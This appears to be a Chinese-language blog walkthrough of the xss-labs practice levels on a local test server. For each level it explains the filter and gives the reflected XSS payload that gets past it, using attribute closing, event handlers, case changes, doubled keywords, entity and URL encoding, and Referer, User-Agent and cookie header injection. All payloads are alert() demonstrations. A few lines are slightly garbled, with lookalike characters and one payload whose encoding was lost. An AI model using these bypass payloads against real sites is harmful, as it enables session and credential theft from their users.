目录
leve1
观察界面可以发现,它想服务器提交一个name参数,值为test,并将结果显示在页面上,并且显示了参数值的字符长度。
查看源码
可以发现,这是一个简单的反射型xss,所有我们先直接将name参数重新赋值:
<script>alert(1)</script>
我们去查看level1.php并结合网页源码,不难看出,这里是将服务器获得的name参数赋值给str变量。并通关echo将str变量直接插入<h2> </h2>之间,发生了反射性xss漏洞
level2
观察url,发生仍然是get方式传递参数,先查看网页源码
从源码来看,它的功能就是通过点击“搜索”按钮,将输入框内的内容以get方式提交给服务器上的
level2.php
,我们先尝试进行弹窗。发现没有反应,查看源码发现,这里将<>编码成了< >后台过滤了<>符号,对其进行了实体化。但是我们发现了另一个可搞的地方。input标签的value值,正是我们的输入内容,且没有过滤。里我们可以构造语句将属性的引号和标签先闭合。
<input name=keyword value="<script>alert(1)</script>">
构造成
<input name=keyword value=""><script>alert(1)</script>">
level3
注入最基本的脚本,页面没反应,查看源码:
发现value里面的<>也被过滤了,这里可以采用事件。什么是事件?我的理解是:在特定的情况下执行代码。可以参考如下:XSS 32个触发事件_浅笑⁹⁹⁶的博客-CSDN博客_xss事件
这里我们使用onclick事件,payload:' οnclick=alert() ' 我们带入inputd中观察
<input name=keyword value='' οnclick=alert() ' '>
注入后,并没有反应,但是当我们点击搜索框的时候,事件就被触发执行。
level4
注入简单语句,发现<>被过滤,所有这里我们还是可以使用事件来触发xss.
原理同第三题类似。需要注意的是这里的闭合是双引号。
payload: " οnclick=alert()
level5
注入简单的语句
发现对script进行了匹配过滤。尝试复写和大小写绕过,发现都不行。
继续使用事件。发生事件也不行。
前两题我们用事件是因为,<>不能用。但是这关没限制呀。我们只是不能用script,还有好多标签可用,比如<a>, <img>。
这里我们搜索了一下<a>标签的用法
所有我们构造payload:
" ><a href=javascript:alert()>执行xss</a>
点击执行语句
level6
注入简单语句发现,注入事件,注入"><a href='javascript:alert(1)'>发现都不行
这里对字符串进行了过滤,记得第五题我们一开始的思路。1、复写(不适合)2、 大小写绕过。
payload:"> <a HREF=javascript:alert()>执行</a>
level7
输入简单注入语句,发现过滤了scirpt字符串,也过滤了on
所有这个题。我们事件用不了,javascript用不了,尝试一下大小写,也不行,但是,我们还有一次方法没有试,就是复写!
payload:"><scripscriptt>alert()</scripscriptt>
level8
注入简单的语句,发现过滤的script等字符串。发现输入框的value会被填进超链接的href里面去。所以我们只需构造href就好了。
payload:javascript:alert()
javascript被过滤了。这里你发现调整大小写也没有用。怎么办?
实体化编码。
将javascript中的某个字母进行实体话编码(网上的在线工具)
payload:javascript:alert()
level9
将上一关的payload放入试试
显示我的连接不合法。想想链接的特征,http://或者https://。
试一下
这里就合法了,所有我们可以构造
payload:javascript:alert() //http://
成功!
level10
没有输入框,也没有超链接了。不过可以观察到页面的输出和url中的keyword参数有关。
这里将输入框隐藏掉了,覆盖type值,有三个隐藏的input。看到每个输入框中都有自己的name,猜测会从url中获取参数,你可以试一试。
payload:t_link=hello&t_history=hello&t_sort=hello
发现只有t_sort的值发生了改变,可以利用。所有我们可以构造
payload:t_sort=" type="test" οnclick=alert()//"
#语句就变为了:
<input name="t_sort" value="" type="test" οnclick=alert()//"" type="hidden">
level11
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="http://127.0.0.1/xss-labs-master/level10.php?t_sort=%22%20type=%22test%22%20onclick=alert()//%22" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
其中多了一个input,它的value很有趣,就是第10关的url。看input的name为ref,也能猜到这个东西是refer。
先按着第十题的思路去做。
发现依然只有t_sort的value发生了改变。
payload:t_sort=" type="test" οnclick=alert()//"
发现它将"进行了实体化。
这里可能的图突破点 应该就是refer
这里我们进行抓包,修改refer,
返回数据包,注入成功
level12
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
查看源码发现多了
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0" type="hidden">
这可太熟悉了。User-Agent,猜测到t_ua的值是获取报文中的User-Agent
抓包
这里我们就尝试修改User-Agent的值进行注入
返回数据包,成功
level13
前两个题分别是UA和Referer,按照我们有依据的猜,这个肯定就是cookie了。你看那个诱惑的名字t_cook,还有略带挑衅的value “call me maybe?”。
抓包
构造:payload:"type="text" οnclick=alert() //"
成功
level14
玩不了了 直接下一题
level15
这个题涉及文件包含
ng-app 指令 ---- 初始化一个 AngularJS 应用程序。 ng-include 指令 ---- 用于包含外部的 HTML 文件。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。(它的作用有点类似于PHP中的include函数)
这里可以让ng-include去包含第一关存在XSS漏洞的页面,
命令:http://127.0.0.1/xss-labs-master/level15.php?src='level1.php?name='这里的?src=''引号是必须的。
level16
简单的注入,发现script被过滤了,替换成了空格
调整大小写仍旧,复写也是不可能的。因为替换后,你的“scrscriptipt”会成为“scr ipt”。我们想到我们可以使用<a>或者<img>
因为<a>中也有javascript,所有这里我们用img来触发事件。
构造:payload:<img src=1 οnerrοr=alert()>
什么都没显示。
发现它把空格实体化了,这里的绕过技巧涉及到了url编码,查资料!空格可以用%0A代替
payload:<img%0Asrc=1%0Aοnerrοr=alert()>
level17
看到url中有两个参数arg01和arg02,看源码:
embed标签的src最后的值和参数值相同,尝试修改arg02的值。
构造:payload:arg02=(空格)οnmοuseοver=alert(1)
level18
与17关如出一辙
level19
反编译啥的 还不懂 哎。(当时不懂,现在也没学 哈哈)
level20
......(哈哈
)